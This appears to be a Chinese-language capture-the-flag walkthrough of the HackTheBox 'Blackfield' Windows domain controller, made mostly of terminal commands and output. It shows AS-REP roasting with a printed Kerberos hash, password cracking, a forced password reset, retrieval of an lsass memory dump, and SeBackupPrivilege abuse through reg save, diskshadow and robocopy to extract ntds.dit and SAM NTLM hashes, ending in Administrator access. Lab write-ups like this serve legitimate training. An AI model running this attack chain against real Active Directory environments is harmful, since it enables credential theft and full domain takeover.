┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.192 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 06:06 CST Nmap scan report for10.10.10.192 Host is up (0.32s latency). Not shown: 65529 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 593/tcp open http-rpc-epmap 5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 22.58 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p53,135,139,445,593,5985 -sC -sV --min-rate=1000010.10.10.192 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 06:08 CST Nmap scan report for10.10.10.192 Host is up (0.088s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 135/tcp open msrpc Microsoft Windows RPC 139/tcp filtered netbios-ssn 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds
[+] IP: 10.10.10.192:445 Name: 10.10.10.192 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share profiles$ READ ONLY SYSVOL NO ACCESS Logon server share
5、枚举其中的 profiles$ 目录,发现非常多的空目录,这里只把目录名保存下吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -N //10.10.10.192/profiles$ -c "recurse; ls" . D 0 Thu Jun 400:47:122020 .. D 0 Thu Jun 400:47:122020 AAlleni D 0 Thu Jun 400:47:112020 ABarteski D 0 Thu Jun 400:47:112020 ABekesz D 0 Thu Jun 400:47:112020 ABenzies D 0 Thu Jun 400:47:112020 ABiemiller D 0 Thu Jun 400:47:112020 AChampken D 0 Thu Jun 400:47:112020 ACheretei D 0 Thu Jun 400:47:112020 ACsonaki D 0 Thu Jun 400:47:112020 AHigchens D 0 Thu Jun 400:47:112020 AJaquemai D 0 Thu Jun 400:47:112020 AKlado D 0 Thu Jun 400:47:112020 AKoffenburger D 0 Thu Jun 400:47:112020 AKollolli D 0 Thu Jun 400:47:112020 ....................
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$support@BLACKFIELD.LOCAL:aace551cda958e73cc9686be42e2d6af$17abd5425f2bc590d38fee71e10a20d1ad9fdb27a8bd6075ac6798554b0b66feec63ae99fca48b126ab68e3377302c0631247e639ee58bfb8fd00b9d5e1d118eee13ecf372831a608b78707655de97ae6d181319c817be22394f2e95ab98cb852886286eebc0b249375bd78ebebfacadd490019e6a52fe8f57bc958a84bd91b32f33d5a9eeb4f7d07622ddee170b3d35e745d2d697db248fb741ae176574d4e2a68cdf522484ec5156e2031cc15afdb95eff7f01930d34d141fcf6c163581034d5849e1613dc86143a1e193eb62acb2cecc6b0f5b2e283802c89ff567c558bd5cb64cce115a63c8a860ef2da0aa9eb78a08013d4 [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
* Append -O to the commandline. This lowers the maximum supported password/salt length(usually down to 32).
* Append -w 3 to the commandline. This can cause your screen to lag.
* Append -S to the commandline. This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way: https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power: https://hashcat.net/faq/morework
[+] IP: 10.10.10.192:445 Name: blackfield.local Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share profiles$ READ ONLY SYSVOL READ ONLY Logon server share
┌──(kali㉿offsec)-[~/Desktop] └─$ bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192 --zip INFO: Found AD domain: blackfield.local INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error(dc01.blackfield.local:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc01.blackfield.local INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 18 computers INFO: Connecting to LDAP server: dc01.blackfield.local INFO: Found 316 users INFO: Found 52 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: INFO: Querying computer: DC01.BLACKFIELD.local INFO: Done in 00M 33S INFO: Compressing output into 20240516070530_bloodhound.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14
The user SUPPORT@BLACKFIELD.LOCAL has the capability to change the user AUDIT2020@BLACKFIELD.LOCAL's password without knowing that user's current password.
[+] IP: 10.10.10.192:445 Name: blackfield.local Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic READ ONLY Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share profiles$ READ ONLY SYSVOL READ ONLY Logon server share
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U audit2020%'Admin@123'//10.10.10.192/forensic -c "recurse; ls" . D 0 Sun Feb 2321:03:162020 .. D 0 Sun Feb 2321:03:162020 commands_output D 0 Mon Feb 2402:14:372020 memory_analysis D 0 Fri May 2904:28:332020 tools D 0 Sun Feb 2321:39:082020
\commands_output . D 0 Mon Feb 2402:14:372020 .. D 0 Mon Feb 2402:14:372020 domain_admins.txt A 528 Sun Feb 2321:00:192020 domain_groups.txt A 962 Sun Feb 2320:51:522020 domain_users.txt A 16454 Sat Feb 2906:32:172020 firewall_rules.txt A 518202 Sun Feb 2320:53:582020 ipconfig.txt A 1782 Sun Feb 2320:50:282020 netstat.txt A 3842 Sun Feb 2320:51:012020 route.txt A 3976 Sun Feb 2320:53:012020 systeminfo.txt A 4550 Sun Feb 2320:56:592020 tasklist.txt A 9990 Sun Feb 2320:54:292020
\memory_analysis . D 0 Fri May 2904:28:332020 .. D 0 Fri May 2904:28:332020 conhost.zip A 37876530 Fri May 2904:25:362020 ctfmon.zip A 24962333 Fri May 2904:25:452020 dfsrs.zip A 23993305 Fri May 2904:25:542020 dllhost.zip A 18366396 Fri May 2904:26:042020 ismserv.zip A 8810157 Fri May 2904:26:132020 lsass.zip A 41936098 Fri May 2904:25:082020 mmc.zip A 64288607 Fri May 2904:25:252020 RuntimeBroker.zip A 13332174 Fri May 2904:26:242020 ServerManager.zip A 131983313 Fri May 2904:26:492020 sihost.zip A 33141744 Fri May 2904:27:002020 smartscreen.zip A 33756344 Fri May 2904:27:112020 svchost.zip A 14408833 Fri May 2904:27:192020 taskhostw.zip A 34631412 Fri May 2904:27:302020 winlogon.zip A 14255089 Fri May 2904:27:382020 wlms.zip A 4067425 Fri May 2904:27:442020 WmiPrvSE.zip A 18303252 Fri May 2904:27:532020
\tools
17、这个目录里的资产是真的多啊啊啊啊啊啊,我就只列我想要的吧
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U audit2020%'Admin@123'//10.10.10.192/forensic Try "help" to get a list of possible commands. smb: \> cd memory_analysis\ smb: \memory_analysis\> get lsass.zip parallel_read returned NT_STATUS_IO_TIMEOUT smb: \memory_analysis\> get lsass.zip parallel_read returned NT_STATUS_IO_TIMEOUT smb: \memory_analysis\> get lsass.zip parallel_read returned NT_STATUS_IO_TIMEOUT smb: \memory_analysis\> get lsass.zip parallel_read returned NT_STATUS_IO_TIMEOUT smb: \memory_analysis\> getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip SMBecho failed(NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\svc_backup\Desktop>
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> net user svc_backup User name svc_backup Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set2/23/202010:54:48 AM Password expires Never Password changeable 2/24/202010:54:48 AM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 2/23/202011:03:50 AM
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
*Evil-WinRM* PS C:\Users\svc_backup\Desktop>
24、备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。我在 上找到了一个帖子how to dump the local SAM hashes by abusing the SeBackupPrivilege,可以 在这里找到;我将尝试相同的技术来查看是否可以转储哈希值:
1 2 3 4 5 6
首先,我使用以下两个命令从帖子中复制SAM和 的简单方法:SYSTEM
reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system 为了正确执行上述命令,我首先temp在驱动器中创建一个目录C:,然后运行命令:
┌──(kali㉿offsec)-[~/Desktop] └─$ impacket-secretsdump -sam sam -system system LOCAL Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393 [*] Dumping local SAM hashes(uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Cleaning up...
*Evil-WinRM* PS C:\temp> diskshadow.exe /s c:\temp\diskshadow.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 5/15/20243:55:33 PM
-> set context persistent nowriters -> add volume c: alias temp -> create Alias temp for shadow ID {240888e7-daaa-4d05-8afd-997cd31e52fc} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {5afccffd-0ca4-4497-ab22-da339b40a5eb} set as environment variable.
Querying all shadow copies with the shadow copy set ID {5afccffd-0ca4-4497-ab22-da339b40a5eb}
* Shadow copy ID = {240888e7-daaa-4d05-8afd-997cd31e52fc} %temp% - Shadow copy set: {5afccffd-0ca4-4497-ab22-da339b40a5eb} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\] - Creation time: 5/15/20243:55:34 PM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %temp% z: -> %temp% = {240888e7-daaa-4d05-8afd-997cd31e52fc} The shadow copy was successfully exposed as z:\. -> *Evil-WinRM* PS C:\temp>
------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows -------------------------------------------------------------------------------
Started : Wednesday, May 15, 20243:57:09 PM Source : z:\windows\ntds\ Dest : C:\temp\
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls